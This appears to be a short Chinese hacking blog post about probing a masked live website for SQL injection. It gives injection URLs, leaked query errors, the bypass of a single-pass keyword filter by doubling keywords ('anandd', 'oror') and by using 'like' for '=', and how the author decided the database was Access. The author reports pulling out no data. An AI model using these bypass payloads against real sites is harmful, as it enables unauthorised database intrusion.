遇到一个站:http://www.马赛克.net/intro.aspx?id=6
加了单引号 http://www.马赛克.net/intro.aspx?id=6‘ 页面无变化
加了双引号 http://www.马赛克.net/intro.aspx?id=6" 报错
符串的语法错误 在查询表达式 'intro_type=(select intro_type from tab_intro_info where id=6" ) order by id_sort' 中。
可以看到 注入点 在()中
测试 and 1=1 and 1=2 or 1=1 报错
语法错误。 在查询表达式 'intro_type=(select intro_type from tab_intro_info where id=6 11 )' 中
可以看到 and or = 等关键字 被”吃掉了“
经测试 并没有进行循环查找过滤 and or 等字符
绕后方法 anandd oror And(大小写)
http://www.马赛克.net/intro.aspx?id=6 anandd 1=1 返回正常
http://www.马赛克.net/intro.aspx?id=6 anandd 1=2 返回也正常
因为知道 = 也被“吃掉”了 所以用 'like' 代替
http://www.马赛克.net/intro.aspx?id=6 anandd 1 like 1 返回正常
http://www.马赛克.net/intro.aspx?id=6 anandd 1 like 2 返回也正常
--------------------
http://www.马赛克.net/intro.aspx?id=6 anandd exists(select id from sysobjects) 报错 select 也被“吃掉”了
语法错误。 在查询表达式 'intro_type=(select intro_type from tab_intro_info where id=6 and exists( id from sysobjects) )' 中。
紧接着,我在在数据库版本上花了很多时间 第一直觉认为是 aspx + mssql 组合
然后在绕过语句上测试了很多,无法绕后,后来从猜测数据库类型开始猜 得出结论是 access数据库
--------------------
知道了绕过方法,和数据库类型,剩下的就是猜数据了,不过由于字典不给力 并未猜出任何表(除了报错时显示的“tab_intro_info”),任何数据
由于表的组合比较变态 tab_intro_info 也就没有继续猜下去